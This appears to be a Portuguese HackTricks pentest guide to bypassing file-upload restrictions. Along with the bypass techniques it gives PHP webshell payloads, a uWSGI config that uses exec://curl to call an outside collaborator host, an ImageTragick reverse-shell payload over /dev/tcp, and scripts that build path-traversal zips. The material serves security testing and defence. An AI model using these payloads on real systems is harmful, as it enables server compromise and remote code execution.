25 KiB
Raw Blame History

Upload de Arquivos

{{#include ../../banners/hacktricks-training.md}}

File Upload General Methodology

Outras extensões úteis:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. Se aplicável, verifique as extensões anteriores. Teste-as também usando algumas letras maiúsculas: pHp, .pHP5, .PhAr ...
  2. Verifique adicionar uma extensão válida antes da extensão de execução (use as extensões anteriores também):
  • file.png.php
  • file.png.Php5
  1. Tente adicionar caracteres especiais no final. Você pode usar Burp para bruteforcear todos os caracteres ascii e Unicode. (Nota: você também pode tentar usar as extensões mencionadas anteriormente)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Tente contornar as proteções enganando o parser de extensão do lado do servidor com técnicas como duplicação da extensão ou adicionando lixo (bytes null) entre extensões. Você também pode usar as extensões anteriores para preparar um payload melhor.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Adicione outra camada de extensões no teste anterior:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Tente colocar a extensão executável antes da extensão válida e reze para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão .php, mas não necessariamente terminando em .php, executará código):
  • ex: file.php.png
  1. Usando NTFS alternate data stream (ADS) no Windows. Neste caso, um caractere de dois pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um arquivo vazio com a extensão proibida será criado no servidor (ex.: "file.asax:.jpg”). Esse arquivo pode ser editado mais tarde usando outras técnicas como seu short filename. O padrão "::$data” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”)
  2. Tente romper os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass checks de Content-Type definindo o valor do cabeçalho Content-Type para: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass de verificação de magic number adicionando no início do arquivo os bytes de uma imagem real (confundir o comando file). Ou introduza o shell dentro dos metadados:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ou você também pode introduzir o payload diretamente em uma imagem:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Se compressão estiver sendo aplicada à sua imagem, por exemplo usando algumas bibliotecas padrão do PHP como PHP-GD, as técnicas anteriores não serão úteis. No entanto, você pode usar o chunk PLTE técnica definida aqui para inserir texto que sobreviverá à compressão.
  • Github with the code
  • A página web também pode estar redimensionando a imagem, usando por exemplo as funções PHP-GD imagecopyresized ou imagecopyresampled. Porém, você pode usar o chunk IDAT técnica definida aqui para inserir texto que sobreviverá à compressão.
  • Github with the code
  • Outra técnica para criar um payload que sobrevive a um redimensionamento de imagem, usando a função PHP-GD thumbnailImage. Contudo, você pode usar o chunk tEXt técnica definida aqui para inserir texto que sobreviverá à compressão.
  • Github with the code

Other Tricks to check

  • Encontre uma vulnerabilidade para renomear o arquivo já enviado (para alterar a extensão).
  • Encontre uma vulnerabilidade de Local File Inclusion para executar o backdoor.
  • Possível divulgação de informações:
  1. Faça upload várias vezes (e ao mesmo tempo) do mesmo arquivo com o mesmo nome
  2. Faça upload de um arquivo com o nome de um arquivo ou pasta que já exista
  3. Fazer upload de um arquivo com "." , "..” ou "…” como nome. Por exemplo, no Apache em Windows, se a aplicação salvar os uploads em "/www/uploads/" a filename "." criará um arquivo chamado "uploads" em "/www/".
  4. Faça upload de um arquivo que não possa ser deletado facilmente, como "…:.jpg” em NTFS. (Windows)
  5. Faça upload de um arquivo no Windows com caracteres inválidos como |<>*?” no nome. (Windows)
  6. Faça upload de um arquivo no Windows usando nomes reservados (proibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
  • Tente também fazer upload de um executável (.exe) ou um .html (menos suspeito) que executará código quando acidentalmente aberto pela vítima.

Special extension tricks

Se você estiver tentando fazer upload de arquivos para um PHP server, veja o truque do .htaccess para executar código.
Se você estiver tentando fazer upload de arquivos para um ASP server, veja o truque do .config para executar código.

Os arquivos .phar são como os .jar para java, mas para php, e podem ser usados como um arquivo php (executando-o com php, ou incluindo-o dentro de um script...)

A extensão .inc é às vezes usada para arquivos php que são apenas usados para importar arquivos, então, em algum ponto, alguém pode ter permitido essa extensão ser executada.

Jetty RCE

Se você conseguir fazer upload de um arquivo XML em um servidor Jetty pode obter RCE porque novos *.xml e *.war são processados automaticamente. Então, como mencionado na imagem abaixo, faça upload do arquivo XML para $JETTY_BASE/webapps/ e espere a shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Para uma exploração detalhada dessa vulnerabilidade confira a pesquisa original: uWSGI RCE Exploitation.

Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração .ini. Arquivos de configuração uWSGI usam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como @(filename), é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins maliciosos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração .ini é processado.

Considere o seguinte exemplo de um arquivo uwsgi.ini malicioso, mostrando vários esquemas:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.

É crucial entender a natureza permissiva da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.

wget Upload de Arquivos/Truque SSRF

Em algumas ocasiões você pode encontrar que um servidor está usando wget para baixar arquivos e em que você pode indicar a URL. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que somente arquivos permitidos serão baixados. No entanto, this check can be bypassed.
O comprimento máximo de um nome de arquivo no linux é 255, entretanto, o wget trunca os nomes de arquivo para 236 caracteres. Você pode baixar um arquivo chamado "A"*232+".php"+".gif", esse nome de arquivo irá bypass a verificação (pois, neste exemplo, ".gif" é uma extensão válida), mas wget irá renomear o arquivo para "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Observe que outra opção que você pode estar pensando para contornar essa verificação é fazer o servidor HTTP redirecionar para um arquivo diferente, de modo que a URL inicial passe pela verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso não vai funcionar a menos que o wget esteja sendo usado com o parâmetro --trust-server-names porque o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original.

Tools

  • Upload Bypass é uma ferramenta poderosa projetada para auxiliar Pentesters and Bug Hunters na testagem de mecanismos de upload de arquivos. Ela utiliza várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.

Corrupting upload indices with snprintf quirks (historical)

Alguns legacy upload handlers que usam snprintf() ou similares para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura _FILES. Devido a inconsistências e truncamento no comportamento de snprintf(), um upload único cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume um formato estrito (por exemplo, tratando-o como um upload multi-file e seguindo ramificações inseguras). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases antigas.

De upload de arquivos para outras vulnerabilidades

Heres a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

{{#ref}} https://github.com/portswigger/upload-scanner {{#endref}}

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para outros tipos de arquivo.

Zip/Tar File Automatically decompressed Upload

Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas:

Faça upload de um arquivo que contenha soft links para outros arquivos; ao acessar os arquivos descomprimidos, você irá acessar os arquivos linkados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Descomprimir em diferentes pastas

A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar de suposições iniciais de que essa configuração poderia proteger contra execução de comandos a nível do SO através de uploads maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser exploradas. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload protegidos manipulando a funcionalidade de descompressão da aplicação alvo.

Um exploit automatizado para criar esses arquivos está disponível em evilarc on GitHub. O utilitário pode ser usado como mostrado:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Além disso, a symlink trick with evilarc é uma opção. Se o objetivo for direcionar um arquivo como /flag.txt, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que o evilarc não encontre erros durante sua operação.

Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

Para mais detalhes veja o post original em: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: O código PHP é escrito para executar comandos passados através da variável $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Vários arquivos são criados e um arquivo zip é montado contendo esses arquivos.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hexadecimal, mudando "xxA" para "../" para atravessar diretórios.
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade (ImageMagick , 7.0.1-1) (a partir do exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

Incorporar uma PHP shell no chunk IDAT de um arquivo PNG pode contornar eficazmente certas operações de processamento de imagem. As funções imagecopyresized e imagecopyresampled do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e resamplear imagens, respectivamente. A capacidade da PHP shell incorporada de permanecer inalterada por essas operações é uma vantagem significativa para certos casos de uso.

Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é apresentada no seguinte artigo: "Encoding Web Shells in PNG IDAT chunks". Esse recurso oferece uma compreensão abrangente do processo e de suas implicações.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Arquivos Polyglot

Arquivos polyglot servem como uma ferramenta única em cibersegurança, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um GIFAR, um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis.

A utilidade principal dos polyglots reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco representado por formatos potencialmente perigosos (por exemplo, JS, PHP ou arquivos Phar). No entanto, um polyglot, ao conformar-se aos critérios estruturais de múltiplos tipos de arquivo, pode contornar silenciosamente essas restrições.

Apesar de sua adaptabilidade, os polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir seu upload.

Fazer upload de JSONs válidos como se fossem PDF

Como evitar detecções de tipo de arquivo enviando um arquivo JSON válido mesmo que não seja permitido, fingindo ser um arquivo PDF (técnicas from this blog post):

  • mmmagic library: Desde que os bytes mágicos %PDF estejam nos primeiros 1024 bytes, é válido (veja exemplo no post)
  • pdflib library: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (veja exemplo no post)
  • file binary: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga interpretar o conteúdo como JSON e então, dentro do JSON, colocar a parte inicial de um PDF real e ele pensará que é um PDF

Referências

{{#include ../../banners/hacktricks-training.md}}